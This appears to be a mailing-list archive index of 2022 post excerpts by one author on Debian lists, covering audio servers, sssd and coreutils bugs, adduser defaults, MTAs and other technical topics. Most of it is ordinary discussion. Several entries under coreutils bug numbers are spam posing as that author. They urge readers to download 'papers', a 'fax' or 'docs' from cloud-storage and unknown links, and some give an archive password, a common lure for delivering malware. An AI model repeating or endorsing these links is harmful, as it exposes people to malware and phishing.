Re: Switch default from PulseAudio to PipeWire (and WirePlumber) for audio

2022-09-29 Thread Michael Stone
On Wed, Sep 28, 2022 at 09:02:15PM -0600, Sam Hartman wrote: * Finally, I can use bluetooth on linux with reasonably good audio quality! Aren't they both using the same backend? ldac/aptx weren't in pulseaudio for a long time, but they are now. Or is there something else?

Re: question re tar

2022-09-21 Thread Michael Stone
On Wed, Sep 21, 2022 at 04:29:07PM +0100, jr wrote: On Wednesday, 21 September 2022 at 13:10:05 UTC+1, Greg Wooledge wrote: On Wed, Sep 21, 2022 at 12:31:58PM +0100, jr wrote: > ... > "What's in the file" > > file names, one per line. (and, before you ask, '\n' terminated lines) This is not

Re: Are users of Debian software members of the Debian community?

2022-09-17 Thread Michael Stone
On Sat, Sep 17, 2022 at 11:12:54AM +0800, Paul Wise wrote: On Fri, 2022-09-16 at 10:13 -0400, Michael Stone wrote: Most people running interactive VMs (e.g., on a desktop with a graphical console) aren't using Xen, they're using kvm or virtualbox or just about anything else. While the number

Re: Are users of Debian software members of the Debian community?

2022-09-16 Thread Michael Stone
On Fri, Sep 16, 2022 at 01:54:09PM -0400, Chuck Zmudzinski wrote: On 9/16/22 10:13 AM, Michael Stone wrote: You have now sent a message about a particular udev issue to debian-user and I replied with one immediate thought. Some more thoughts: you're using a fairly obscure configuration. I

Re: Are users of Debian software members of the Debian community?

2022-09-16 Thread Michael Stone
voice is completely nullified by those ad hominem attacks. And they continue. Michael Stone followed me to this list and condemned for me asking questions here on this list. There is no way *he* considers me a member of the Debian community who has a formal voice as a Debian user. Since you've been

Re: systemd: udev coldplug all devices question

2022-09-15 Thread Michael Stone
On Thu, Sep 15, 2022 at 01:30:11AM -0400, Chuck Zmudzinski wrote: bug report to try to fix it, except for the suggestion that a Debian kernel developer made to increase the uevent buffer size in the kernel over a year ago and another suggestion from another Debian maintainer or developer who

Re: Switch default from PulseAudio to PipeWire (and WirePlumber) for audio

2022-09-15 Thread Michael Stone
On Thu, Sep 15, 2022 at 06:13:35PM +0530, Nilesh Patra wrote: As far as I can see, the latest "new upstream" upload to unstable was in "2021-08-25" which is more than an year from now, post which there have been few bug fix uploads. More notable upload has been the one that enables gstreamer

Re: Switch default from PulseAudio to PipeWire (and WirePlumber) for audio

2022-09-15 Thread Michael Stone
On Tue, Sep 13, 2022 at 07:25:12PM +0200, Michael Biebl wrote: Am 13.09.22 um 18:17 schrieb Antoine Beaupré: I also have the feeling that pipewire has already gone beyond what pulseaudio is capable of in terms of Bluetooth support, but I might be mistaken on that. Interesting. What do you

Re: Are users of Debian software members of the Debian community?

2022-09-14 Thread Michael Stone
On Wed, Sep 14, 2022 at 03:17:03PM -0400, Chuck Zmudzinski wrote: Thanks for this, Andy, I admit I did get caught up in behavior that appears as trolling. As you point out, the aforementioned thread only slightly has degenerated and I think there are some useful discussions in it despite the

Re: Advantages/Disadvantages of Open Source Software (Was Re: Package grub-xen-host breaks PV domains with 11.5 point release)

2022-09-14 Thread Michael Stone
On Wed, Sep 14, 2022 at 11:16:00PM +0100, Steve McIntyre wrote: I'll be brutally honest: being accused of "possibly malicious" unwilligness is *not* a great way to convince overstretched volunteers to spend their time on issues. Especially when it's an ongoing pattern of discourse.

Re: Advantages/Disadvantages of Open Source Software (Was Re: Package grub-xen-host breaks PV domains with 11.5 point release)

2022-09-13 Thread Michael Stone
On Tue, Sep 13, 2022 at 02:14:38PM -0400, Chuck Zmudzinski wrote: So do you, obviously. Someone said something that raised that question in my mind, but you deleted that part from this message, which proves you are the one who has an ax to grind by not answering the question that has been

Re: Advantages/Disadvantages of Open Source Software (Was Re: Package grub-xen-host breaks PV domains with 11.5 point release)

2022-09-13 Thread Michael Stone
On Tue, Sep 13, 2022 at 12:42:12PM -0400, Chuck Zmudzinski wrote: Software projects today, IIUC, are communities. The "volunteers" should do what the community wants, not necessarily what you or I want. Do you think the free/oss software community wants volunteers who ignore bugs or refuse to

Re: Advantages/Disadvantages of Open Source Software (Was Re: Package grub-xen-host breaks PV domains with 11.5 point release)

2022-09-13 Thread Michael Stone
On Tue, Sep 13, 2022 at 11:27:43AM -0400, Chuck Zmudzinski wrote: On 9/13/2022 12:36 AM, to...@tuxteam.de wrote: On Mon, Sep 12, 2022 at 03:32:27PM -0400, Michael Stone wrote: > [...] "I can't get personalized/dedicated support with enforceable > SLAs for free" If

Re: Advantages/Disadvantages of Open Source Software (Was Re: Package grub-xen-host breaks PV domains with 11.5 point release)

2022-09-12 Thread Michael Stone
On Mon, Sep 12, 2022 at 01:47:49PM -0400, Chuck Zmudzinski wrote: Well, I suppose so, but I am pleased that a grub maintainer is now on the case. Still, there is another Debian bug that affects me that continues to be ignored, so I admit I have an attitude about that. I accept that what is of

Re: Should a serious bug have made in into bullseye 11.5?

2022-09-12 Thread Michael Stone
On Mon, Sep 12, 2022 at 10:10:33AM -0500, David Wright wrote: Well, my focus would be on two things: (a) the change in compatibility level in debhelper in the middle of stable's lifetime That would not have ordinarily happened, and probably shouldn't have happened in this case. Other

Re: Should a serious bug have made in into bullseye 11.5?

2022-09-12 Thread Michael Stone
On Mon, Sep 12, 2022 at 02:32:16PM +, Andy Smith wrote: On Mon, Sep 12, 2022 at 10:15:41AM -0400, Michael Stone wrote: There are automated processes that stop package migration at certain severity levels, but they can't guess that something that was filed at a low level really should have

Re: Should a serious bug have made in into bullseye 11.5?

2022-09-12 Thread Michael Stone
On Mon, Sep 12, 2022 at 02:20:59PM +0100, Tim Woodall wrote: Agreed. While I tend to try to file bugs at the lowest severity that can be justified, I know that others go the other way. This is one I'd probably have filed as Grave or even Critical. (I see it's now been bumped to Grave) If it's

Re: Which MTA for from-based smarthost selection, local delivery and queuing?

2022-09-09 Thread Michael Stone
On Wed, Sep 07, 2022 at 10:31:37PM +0200, Sébastien Hinderer wrote: I was advised to use msmtp but, although it has the feature I am looking for, it misses two features of exim4 that I find useful: local e-mail delivery to users' maildirs and the ability to queue emails composed while the

Re: OT: Is postfix "easier" than exim4? (was: Re: Which MTA for from-based smarthost selection, local delivery and queuing?)

2022-09-08 Thread Michael Stone
On Thu, Sep 08, 2022 at 07:10:17AM -0400, rhkra...@gmail.com wrote: To people who have familiarity with both postfix and exim4, is postfix really easier (in a variety of senses) than exim4? LIke to install, setup, and use? IMO, yes. It's also easier to find solutions to problems online,

Re: failing HDD, ddrescue says remaning time is 7104d

2022-08-31 Thread Michael Stone
On Wed, Aug 31, 2022 at 03:25:36PM +0200, ppr wrote: I did not try to mount the HDD. I plugged an external HDD (ext4) and launched ddrescue. After two days it has recovered 33GB of 1TB but the speed are now so slow it will take 7104 days to complete. is the img file still growing? in general

Re: Inconsistent behavior of core utilities

2022-08-30 Thread Michael Stone
On Thu, Aug 25, 2022 at 10:10:46PM -0700, L A Walsh wrote: there's more to life than coreutils - But the OP was posting about inconsistencies in coreutils. What you are saying is because coreutils is broken/inconsistent, use 'find'. For programmatic use, definitely. When someone's

Re: Inconsistent behavior of core utilities

2022-08-24 Thread Michael Stone
On Wed, Aug 24, 2022 at 10:17:49AM -0700, L A Walsh wrote: On 2022/08/23 00:30, Mike Jonkmans wrote: que find is the path to go. Because find isn't part of coreutils? there's more to life than coreutils find isn't consistent either: find . -name \*.foo gives you output from dir ".",

Re: Rant: The need for books to document things (was: Re: Virtual Machines)

2022-08-22 Thread Michael Stone
On Mon, Aug 22, 2022 at 01:58:57PM -0400, rhkra...@gmail.com wrote: It just seems documentation ought to be better / simpler / easier to use than that. There's an inverse correlation between completeness and simplicity. If you don't want to read a 700 page book, the other alternative is to

Bug#1017396: rngd.service fails by default

2022-08-15 Thread Michael Stone
On Mon, Aug 15, 2022 at 03:02:04PM +0200, Harald Dunkel wrote: The traditional workaround was something like # echo "HRNGDEVICE=/dev/urandom" >> /etc/default/rng-tools If you were doing that you were defeating the purpose of the program. If you have no entropy sources for rngd, the

Bug#705566: date does not read the timezone from the environment variable TZ, and there is no other way to view from the CLI times in other timezones.

2022-08-12 Thread Michael Stone
On Fri, Aug 12, 2022 at 12:18:20PM +0200, Uwe Kleine-König wrote: uwe@taurus:/usr/share/zoneinfo$ TZ=Europe/London date Fri Aug 12 11:13:34 AM BST 2022 uwe@taurus:/usr/share/zoneinfo$ TZ=BST date Fri Aug 12 10:13:38 AM BST 2022 The first one is the right one, but there is no way to determine

Re: Need working repo for Deb7 - wheezy

2022-08-10 Thread Michael Stone
On Tue, Aug 09, 2022 at 01:31:20PM +, Aravinth kumar Anbalagan wrote: Hi @Michael Stone There are no proxy configured on the server. Please check the below error and let us know how can we proceed further? root@policijas-db:~# cd /etc/apt/ apt.conf.d/ preferences.d/ sources.list.d

Re: Need working repo for Deb7 - wheezy

2022-08-05 Thread Michael Stone
On Fri, Aug 05, 2022 at 07:42:20AM +, Karthik Jeyabalan wrote: deb http://archive.debian.org/debian/ wheezy main deb http://archive.debian.org/debian-security wheezy/updates main contrib non-free deb http://archive.debian.org/debian/ wheezy main non-free contrib deb-src

Re: Verison IPv6 -- I want to stick with IPv4 (was Re: ipv6: static ipv6 address with dynamic network address possible?)

2022-08-02 Thread Michael Stone
On Tue, Aug 02, 2022 at 12:01:44PM -0400, rhkra...@gmail.com wrote: Well, I know this is probably a silly worry, but I run behind an IPv4 NAT, which makes me feel fairly safe. This is a common, but wrong, idea; NAT doesn't keep you safe, a packet filter keeps you safe. You can have either one

[Elecraft] FT-990 to KPA-1500

2022-07-25 Thread Michael Stone
I would like to connect my FT-990 to my KPA 1500. Is there an illustration and explanation of the connections available? I purchased the Yaesu cables when I bought the amplifier and would like more information than what came with the cables. Thanks 73 Mike, N1VE

Re: RFC: Switch default from netkit-telnet(d) to inetutils-telnet(d)

2022-07-20 Thread Michael Stone
On Wed, Jul 20, 2022 at 05:15:07PM +0200, Adam Borowski wrote: Available in the archive yes, installed by default no way. That makes this current thread mostly moot, as when not installed by default (or a metapackage) you don't need any particular implementation to be blessed. I think the

Re: Processors older than Intel Pentium 4

2022-07-19 Thread Michael Stone
On Sun, Jul 17, 2022 at 11:26:36AM -0400, gene heskett wrote: Another thing that should not be forgotten is that the family of processors vs the ability to make use of firmware patches to fix bugs took a hit since family ID's of $0F and below could not be fixed with microcode. And many of them

Re: RFC: Switch default from netkit-telnet(d) to inetutils-telnet(d)

2022-07-19 Thread Michael Stone
On Sun, Jul 17, 2022 at 01:49:53AM -0400, Timothy M Butterworth wrote: Telnet is old, insecure and should not be used any more. What is the point of packaging a Telnet daemon when everyone should be using SSH. Telnet Client I can see because a person may need to connect to a router or switch

Re: SSD Optimization and tweaks - Looking for tips/recomendations

2022-06-28 Thread Michael Stone
On Tue, Jun 28, 2022 at 02:25:36PM -0300, Marcelo Laia wrote: 4. Any other recommendations to improve the performance and lifespan of this disk? don't worry about it; accept the defaults and you'll be fine

Re: where does `hostname -f` derive the domainname from?

2022-06-28 Thread Michael Stone
On Sun, Jun 26, 2022 at 04:59:26PM -0400, Jim Popovitch wrote: That was the problem. The bullseye-only system had an /etc/hosts entry without a FQDN. I removed that and it uses the one in DNS. It's generally better to add the FQDN to /etc/hosts instead, to cut down on DNS queries for the

Bug#497514: coreutils: chmod, chown, and chgrp change ctime even when no change was necessary

2022-06-21 Thread Michael Stone
Greetings to you With this letter I send you all the necessary papers regarding our soon meeting, right as we revealed recently. Please take a look at аll important  data here: https://drive.google.com/uc?export=download=1EDAvQMt-TmgIQKH8GkDbz5atFUrQj3AK=t File password: E98346 On Fri, Sep

Bug#474436: coreutils: "ls --time-style=locale" no longer works

2022-06-21 Thread Michael Stone
I have discovered a information that we must direct you a faxing, but I couldn't see your correct number where to direct it. And hence I send this fax here: https://drive.google.com/uc?export=download=12vPJn2DgV0mmX_NSPNUr6hAk_pqtg0n4=t File password: E98346 On Sun, Apr 06, 2008 at 12:56:19PM

Bug#1013260: coreutils: /bin/chown very slow in conjunction with storebackup

2022-06-21 Thread Michael Stone
On Mon, Jun 20, 2022 at 11:08:55AM +0200, Adrian Immanuel Kiess wrote: in the current Debian/testing, storebackup fails to make a new backup, because storebackup stalls during the backup process. From what I can see though ps axuwww, storebackup stalls by calling /bin/chown, where every chown

Re: [EXTERNAL] Re: Does DEBIAN BullsEye has FIPS package available

2022-06-17 Thread Michael Stone
On Thu, Jun 16, 2022 at 11:58:50PM -0400, Bijan Soleymani wrote: There may be user space components too. I don't know if Debian still ships with openssl or another SSL library now but openssl specifically can be compiled in some FIPS compatibility mode. That's not currently true; as far as I

Re: xterm. Was Re: 26th pass at installing 11-3, fails

2022-06-13 Thread Michael Stone
On Mon, Jun 13, 2022 at 05:53:59PM -0400, Michael Stone wrote: When linux was first written, the IBM PC was 15 years old. *10 I'm not sure if it's math or typing that's hard

Re: xterm. Was Re: 26th pass at installing 11-3, fails

2022-06-13 Thread Michael Stone
On Mon, Jun 13, 2022 at 11:06:38AM -0400, gene heskett wrote: On 6/13/22 09:17, Michael Stone wrote: On Sun, Jun 12, 2022 at 08:19:02PM +0100, mick crane wrote: The clue though is as somebody said that disabling this new fangled EFI doesn't seem to do what Gene (or I ) thinks it does. new

Re: xterm. Was Re: 26th pass at installing 11-3, fails

2022-06-13 Thread Michael Stone
On Sun, Jun 12, 2022 at 08:19:02PM +0100, mick crane wrote: The clue though is as somebody said that disabling this new fangled EFI doesn't seem to do what Gene (or I ) thinks it does. new fangled? UEFI has been around longer than the PC BIOS was when linux was first written... So having

Bug#1012502: [Pkg-sssd-devel] Bug#1012502: Bug#1012502: Bug#1012502: sssd: authentication fails with latest sssd

2022-06-09 Thread Michael Stone
On Thu, Jun 09, 2022 at 10:11:19AM +0300, you wrote: Timo Aaltonen kirjoitti 9.6.2022 klo 9.51: Michael Stone kirjoitti 8.6.2022 klo 18.52: On Wed, Jun 08, 2022 at 05:41:00PM +0300, Timo Aaltonen wrote: Did you have 2.7.0 at some point? 2.7.0-1 was installed 2022-05-27 2.7.0-1+b1

Bug#1012502: [Pkg-sssd-devel] Bug#1012502: Bug#1012502: Bug#1012502: sssd: authentication fails with latest sssd

2022-06-09 Thread Michael Stone
On Thu, Jun 09, 2022 at 10:11:19AM +0300, you wrote: Timo Aaltonen kirjoitti 9.6.2022 klo 9.51: Michael Stone kirjoitti 8.6.2022 klo 18.52: On Wed, Jun 08, 2022 at 05:41:00PM +0300, Timo Aaltonen wrote: Did you have 2.7.0 at some point? 2.7.0-1 was installed 2022-05-27 2.7.0-1+b1

Bug#1012502: [Pkg-sssd-devel] Bug#1012502: sssd: authentication fails with latest sssd

2022-06-08 Thread Michael Stone
On Wed, Jun 08, 2022 at 05:41:00PM +0300, Timo Aaltonen wrote: Did you have 2.7.0 at some point? 2.7.0-1 was installed 2022-05-27 2.7.0-1+b1 was installed 2022-05-29 no issues with either of those; I reverted to 2.6.3 just because it was easier to grab from the mirrors.

Bug#1012502: [Pkg-sssd-devel] Bug#1012502: sssd: authentication fails with latest sssd

2022-06-08 Thread Michael Stone
On Wed, Jun 08, 2022 at 05:41:00PM +0300, Timo Aaltonen wrote: Did you have 2.7.0 at some point? 2.7.0-1 was installed 2022-05-27 2.7.0-1+b1 was installed 2022-05-29 no issues with either of those; I reverted to 2.6.3 just because it was easier to grab from the mirrors.

Bug#1012502: sssd: authentication fails with latest sssd

2022-06-08 Thread Michael Stone
Package: sssd Version: 2.7.1-1 Severity: critical Justification: breaks the whole system Installing sssd 2.7.1-1 causes IPA/krb5 authentication to fail with messages such as the following in /var/log/sssd/sssd_DOMAIN.log (2022-06-07 18:31:36): [be[DOMAIN]] [krb5_auth_done] (0x3f7c0): [RID#10]

Bug#1012502: sssd: authentication fails with latest sssd

2022-06-08 Thread Michael Stone
Package: sssd Version: 2.7.1-1 Severity: critical Justification: breaks the whole system Installing sssd 2.7.1-1 causes IPA/krb5 authentication to fail with messages such as the following in /var/log/sssd/sssd_DOMAIN.log (2022-06-07 18:31:36): [be[DOMAIN]] [krb5_auth_done] (0x3f7c0): [RID#10]

Bug#474436: coreutils: "ls --time-style=locale" no longer works

2022-05-16 Thread Michael Stone
The docs you expected -are below. It -should certainly cover everything we talked-about: <-br /> https://newscoincoin.com/ut/teruolnecstqcauiid137847509 https://onedrive.live.com/download?cid=5QPYRPPPFQGZDAP0=5QPYRPPPFQGZDAP0%43734=fDzfr4d7PYdt-JbOn Sun, Apr 06, 2008 at 12:56:19PM -0400, Bo

Bug#497514: coreutils: chmod, chown, and chgrp change ctime even when no change was necessary

2022-05-16 Thread Michael Stone
Hi, As s-oo-n as yo-u go over these, we need to set up time to chat: https://complique.org/iqev/edriiu137821509 https://onedrive.live.com/download?cid=NQ1GHKHIXQQCRE1Q=NQ1GHKHIXQQCRE1Q%94645=6rZusqy9YMpB-qvOn Fri, Sep 12, 2008 at 09:51:04PM +0200, Jim Meyering wrote: >That sounds like a good

Re: google account say it will no longer deliver email

2022-05-13 Thread Michael Stone
On Fri, May 13, 2022 at 07:16:11AM +0200, to...@tuxteam.de wrote: A loong password is not "equivalent" to 2FA, that's right. Good password management (of which length is but a part) is as secure as 2FA. No, it really isn't.

Re: Copying one drive to a smaller one.

2022-05-10 Thread Michael Stone
On Tue, May 10, 2022 at 07:13:55PM +0200, DdB wrote: Proper entry in NVRAM (Can be read and changed with efibootmgr) I've never seen a BIOS where this is hard--you just browse to the appropriate file in the EFI partition (EFI/debian/grubx64.efi). Using a program from within linux is helpful

Re: Copying one drive to a smaller one.

2022-05-10 Thread Michael Stone
On Tue, May 10, 2022 at 08:31:12AM -0400, pa...@quillandmouse.com wrote: For all but the boot mechanism, copying files from source to destination via rsync should work. For ext4, files are files. Except when they have ACLs or extended attributes, hard links are messy to rsync, etc. Most of

Re: Copying one drive to a smaller one.

2022-05-09 Thread Michael Stone
On Mon, May 09, 2022 at 04:47:44PM -0400, pa...@quillandmouse.com wrote: Unfortunately, this is precisely what I was trying to avoid. For example, to accommodate the graphics on my CPU, I had to use a later kernel from backports. That's one of many wrinkles. Under other circumstances, I probably

Re: Alternatives to ISC dhcp-client ?

2022-05-08 Thread Michael Stone
On Sun, May 08, 2022 at 04:09:27PM +0200, Oliver Schoede wrote: Alternatively there's dhcpcd5, Be careful with this one unless you have a simple network configuration--by default it will attempt to get addresses on all interfaces that don't have them, not only ones you set to dhcp in

ifupdown/dhcp

2022-05-08 Thread Michael Stone
[apologies to package aliases getting this twice due to autocomplete fail] I've been trying to make sense of the NEWS item in isc-dhcp-client (that alternatives are needed) in combination with the functionality of ifupdown and what the implications are for debian upgrades generally.

ifupdown/dhcp

2022-05-08 Thread Michael Stone
[apologies to package aliases getting this twice due to autocomplete fail] I've been trying to make sense of the NEWS item in isc-dhcp-client (that alternatives are needed) in combination with the functionality of ifupdown and what the implications are for debian upgrades generally.

ifupdown/dhcp

2022-05-08 Thread Michael Stone
I've been trying to make sense of the NEWS item in isc-dhcp-client (that alternatives are needed) in combination with the functionality of ifupdown and what the implications are for debian upgrades generally. isc-dhcp-client as of the last upgrade is telling users to stop using it (the

Re: amd64 running on Intel Celeron and Pentium?

2022-04-17 Thread Michael Stone
On Sun, Apr 17, 2022 at 10:05:39AM +0200, Friedhelm Waitzmann wrote: vendor_id   : GenuineIntel cpu family  : 15 model   : 2 model name  : Intel(R) Pentium(R) 4 CPU 2.00GHz stepping    : 4 cpu MHz : 1993.656 cache size  : 512 KB ? Celeron 440 for sure is

Re: disable IPv6 debian

2022-04-16 Thread Michael Stone
On Fri, Apr 15, 2022 at 08:16:22PM -0400, Greg Wooledge wrote: ls -l .bashrc You've got a command name, and you're passing two string arguments to it. If you feel a need to quote every string argument, then you should be writing it like this: ls "-l" ".bashrc" There's nothing special about

Re: amd64 running on Intel Celeron and Pentium? (was: [SECURITY] [DSA 5113-1] firefox-esr security update)

2022-04-14 Thread Michael Stone
On Thu, Apr 14, 2022 at 02:34:22PM +0200, Elmar Stellnberger wrote: On Wed, Apr 13, 2022 at 03:11:04PM -0400, Michael Stone wrote: On Wed, Apr 13, 2022 at 08:18:30PM +0200, Levis Yarema wrote: > What about Spectre /Meltdown? P3/P4/Pentium M systems don´t have that? Core 2 > systems

Re: amd64 running on Intel Celeron and Pentium? (was: [SECURITY] [DSA 5113-1] firefox-esr security update)

2022-04-13 Thread Michael Stone
On Wed, Apr 13, 2022 at 08:18:30PM +0200, Levis Yarema wrote: What about Spectre /Meltdown? P3/P4/Pentium M systems don´t have that? Core 2 systems to my knowledge can. There's no reason to believe netburst systems are not affected by any of the cpu issues identified in the past few years,

Re: amd64 running on Intel Celeron and Pentium? (was: [SECURITY] [DSA 5113-1] firefox-esr security update)

2022-04-13 Thread Michael Stone
On Wed, Apr 13, 2022 at 07:18:53PM +0200, Levis Yarema wrote: If I would get an x64 CPU from a Linux pro, sure I would take it. Otherwise I would not recommend to just take any old hardware for exchange with my working one since not all of it was easily well supported by Linux these days, as far

Re: amd64 running on Intel Celeron and Pentium? (was: [SECURITY] [DSA 5113-1] firefox-esr security update)

2022-04-13 Thread Michael Stone
On Wed, Apr 13, 2022 at 05:32:10PM +0200, Odo Poppinger wrote: I have a beloved P4 Gericom Frontman and I do not want to give it away. and that's fine, but it's increasingly unreasonable to try to run a modern general purpose OS on hardware that's 20 years old. if the driver is nostalgia,

Re: amd64 running on Intel Celeron and Pentium? (was: [SECURITY] [DSA 5113-1] firefox-esr security update)

2022-04-13 Thread Michael Stone
On Wed, Apr 13, 2022 at 03:44:00PM +0100, piorunz wrote: On 12/04/2022 04:59, Friedhelm Waitzmann wrote: You mean, that it is possible to run amd64 on my old hardware 1# vendor_id   : GenuineIntel cpu family  : 6 model   : 22 model name  : Intel(R) Celeron(R) CPU 

Re: Predictable Network Interface Names

2022-03-31 Thread Michael Stone
On Thu, Mar 31, 2022 at 07:10:33AM +0200, to...@tuxteam.de wrote: Somewhat self-referential. I'm not the one getting worked up here ;-) And I'm not the one accusing people of lying.

Re: Predictable Network Interface Names

2022-03-31 Thread Michael Stone
On Wed, Mar 30, 2022 at 05:56:47PM -0500, Nicholas Geovanis wrote: Because some of us work in corporate data centers. And everything you claim that helps us here really does the opposite. Because it was introduced in large part to support mobile computing. Which does not and will never be

Re: Predictable Network Interface Names

2022-03-30 Thread Michael Stone
On Wed, Mar 30, 2022 at 06:19:17PM -0400, Greg Wooledge wrote: It's like you haven't even read this thread. of course I have Predictable interface names *do* sometimes change. And when that happens, it's a huge deal, because all of the configuration files are set up for the old name.

Re: Predictable Network Interface Names

2022-03-30 Thread Michael Stone
On Wed, Mar 30, 2022 at 10:38:10PM +0100, Brian wrote: Perhaps? Perhaps what? Perhaps it is a lie? freedesktop conceals the truth and peddles false information purposefully? Some people get excessively worked up over things like interface names and like to throw around strong words for

Re: Seeking consensus for some changes in adduser

2022-03-13 Thread Michael Stone
On Sun, Mar 13, 2022 at 11:09:24AM +0100, Marc Haber wrote: On Sat, 12 Mar 2022 14:41:35 -0500, Michael Stone wrote: And remember, there are existing real-world debian systems that have users with dots (regardless of local adduser policy; think ldap/ad for example) so these are already issues

Re: Q: systemd-timer vs cron

2022-03-12 Thread Michael Stone
On Sat, Mar 12, 2022 at 03:19:52PM +0800, Paul Wise wrote: Hideki Yamane wrote: Is there any suggestion or guideline for pacakges that contain both systemd-timer unit setting and cronjob? Don't they conflict or not Do what apt does; make the cron job exit successfully without doing anything

Re: Seeking consensus for some changes in adduser

2022-03-12 Thread Michael Stone
On Fri, Mar 11, 2022 at 10:16:24PM +0100, Marc Haber wrote: [^[:alpha:]]chown[[:space:]][^[:space:]]+\.[^[:space:]] is found 829 times in Debian, mostly in docs and comments, but also in a few live scripts. I think that we still have some way to go until we get rid of the dot notation in chown

Re: Seeking consensus for some changes in adduser

2022-03-11 Thread Michael Stone
On Thu, Mar 10, 2022 at 09:33:00PM +0100, Marc Haber wrote: On Wed, 9 Mar 2022 17:29:01 -0500, Michael Stone wrote: On Tue, Mar 08, 2022 at 12:29:43PM -0700, Sam Hartman wrote: I don't think it makes sense to move toward 0700 home directories and to loosen the umask for usergroups. Those

Re: Seeking consensus for some changes in adduser

2022-03-10 Thread Michael Stone
On Thu, Mar 10, 2022 at 06:28:57PM +0100, Vincent Bernat wrote: ❦ 10 March 2022 11:34 -05, Michael Stone: It was always configurable, but was enabled out of the box in hamm... My system was installed on Potato if I remember correctly (or maybe Woody, but definitely not older than Potato

Re: Seeking consensus for some changes in adduser

2022-03-10 Thread Michael Stone
On Thu, Mar 10, 2022 at 05:06:32PM +0100, Vincent Bernat wrote: ❦ 10 March 2022 11:21 +01, Philip Hands: On systems that don't use usergroups for all/some users, doesn't this change make all files writable by other users by default? That would seem like a very unsecure change on upgrades (or

Re: Seeking consensus for some changes in adduser

2022-03-09 Thread Michael Stone
On Thu, Mar 10, 2022 at 12:04:38AM +0100, Ansgar wrote: On Wed, 2022-03-09 at 17:29 -0500, Michael Stone wrote: Those are actually unrelated--the big reason for the more permissive umask is to allow people to seamlessly work with other people in a group, especially within setgid shared

Re: Seeking consensus for some changes in adduser

2022-03-09 Thread Michael Stone
On Tue, Mar 08, 2022 at 12:29:43PM -0700, Sam Hartman wrote: I don't think it makes sense to move toward 0700 home directories and to loosen the umask for usergroups. Those are actually unrelated--the big reason for the more permissive umask is to allow people to seamlessly work with other

Bug#1005044: python3-subnettree: package completely broken, module won't load

2022-02-09 Thread Michael Stone
On Wed, Feb 09, 2022 at 04:32:43PM -0500, Scott Kitterman wrote: On Sat, 5 Feb 2022 17:28:04 -0500 Michael Stone wrote: It seems to be some kind of incompatibility in swig. Upstream .cc files are built with swig 3, debian has swig 4. If the package is built with the upstream .cc files

Re: date & X copy/paste broke on upgrading to Debian 11

2022-02-06 Thread Michael Stone
On Sun, Feb 06, 2022 at 06:54:26PM +, Brian wrote: It does. Installation of chrony or ntp removeds the traditional systemd-timesyncd package. I'm somewhat amused by the characterization of systemd-timesyncd as "traditional" over ntpd, a program which has existed since the late 80s.

Bug#1005044: python3-subnettree: package completely broken, module won't load

2022-02-05 Thread Michael Stone
It seems to be some kind of incompatibility in swig. Upstream .cc files are built with swig 3, debian has swig 4. If the package is built with the upstream .cc files (ditching the associated lines in debian/rules) it seems to work fine.

Bug#1005044: python3-subnettree: package completely broken, module won't load

2022-02-05 Thread Michael Stone
It seems to be some kind of incompatibility in swig. Upstream .cc files are built with swig 3, debian has swig 4. If the package is built with the upstream .cc files (ditching the associated lines in debian/rules) it seems to work fine.

Bug#1005044: python3-subnettree: package completely broken, module won't load

2022-02-05 Thread Michael Stone
Package: python3-subnettree Version: 0.33-1+b3 Severity: grave Justification: renders package unusable Documentation says: A simple example which associates CIDR prefixes with strings:: >>> import SubnetTree >>> t = SubnetTree.SubnetTree() >>> t["10.1.0.0/16"] = "Network 1" >>>

Bug#1005044: python3-subnettree: package completely broken, module won't load

2022-02-05 Thread Michael Stone
Package: python3-subnettree Version: 0.33-1+b3 Severity: grave Justification: renders package unusable Documentation says: A simple example which associates CIDR prefixes with strings:: >>> import SubnetTree >>> t = SubnetTree.SubnetTree() >>> t["10.1.0.0/16"] = "Network 1" >>>

Re: Legal advice regarding the NEW queue

2022-02-02 Thread Michael Stone
On Wed, Feb 02, 2022 at 10:16:36PM +0500, Andrey Rahmatullin wrote: On Wed, Feb 02, 2022 at 12:12:30PM -0500, Michael Stone wrote: On Wed, Feb 02, 2022 at 11:39:11AM -0500, The Wanderer wrote: > Doesn't that, then, lead to the suggestion that any package entering > unstable without

Re: Legal advice regarding the NEW queue

2022-02-02 Thread Michael Stone
On Wed, Feb 02, 2022 at 11:39:11AM -0500, The Wanderer wrote: Doesn't that, then, lead to the suggestion that any package entering unstable without having undergone NEW review (which, in the revised model, might be every new package) should automatically have a bug filed against it requesting

Re: Legal advice regarding the NEW queue

2022-02-02 Thread Michael Stone
On Wed, Feb 02, 2022 at 09:39:02AM -0600, John Goerzen wrote: On Tue, Feb 01 2022, Russ Allbery wrote: I would hate to entirely lose the quality review that we get via NEW, but I wonder if we could regain many those benefits by setting up some sort of peer review system for new packages that

Re: i386 or AMD64 - Which is currently running?

2022-02-01 Thread Michael Stone
On Tue, Feb 01, 2022 at 12:32:24AM -0500, Stefan Monnier wrote: that's not running a 64bit userspace on a 32bit kernel, Why not? You have a 64bit system on top, a 32bit kernel at the bottom and whether execution of those 64bit binaries is performed directly by the CPU or via binfmt + qemu is

Re: i386 or AMD64 - Which is currently running?

2022-01-31 Thread Michael Stone
On Mon, Jan 31, 2022 at 09:02:17PM -0500, Stefan Monnier wrote: Greg Wooledge [2022-01-31 16:45:52] wrote: On Mon, Jan 31, 2022 at 04:37:37PM -0500, Stefan Monnier wrote: BTW, for the twisted-minded it's probably possible to run a 64bit userspace on a 32bit kernel. No. Or at least, not that

Re: "mount -t ntfs" vs "mount.ntfs" ?

2022-01-31 Thread Michael Stone
On Mon, Jan 31, 2022 at 11:43:10AM +0100, Yvan Masson wrote: Thanks for the links, I missed that NTF3 was already included in the kernel I use (from Debian testing). So in my case ntfs3g is able to mount a rescued partition, while NTFS3 is not (thanks Andrei for confirming what I supposed):

Re: why copying big file fails?

2022-01-31 Thread Michael Stone
On Sun, Jan 30, 2022 at 11:53:00PM +0300, Reco wrote: Hi. On Sun, Jan 30, 2022 at 03:11:36PM -0500, a wrote: i run "ls -l", about 2G has been copied This. Method you're using for copying files does not matter. Whatever your phone is using instead of a proper filesystem does. 2G file

Re: SD Memory Card (was The Raspberry Pi that Took a Day Off.)

2022-01-28 Thread Michael Stone
On Fri, Jan 28, 2022 at 12:42:35PM -0600, Martin McCormick wrote: My thanks to everybody who has responded here. I think the prudent thing to do is use a new SSD card and I have one that is supposed to be a full 32 gb. The card I was able to finally clear the partitions on is several years old

Re: SSD Memory Card (was The Raspberry Pi that Took a Day Off.)

2022-01-28 Thread Michael Stone
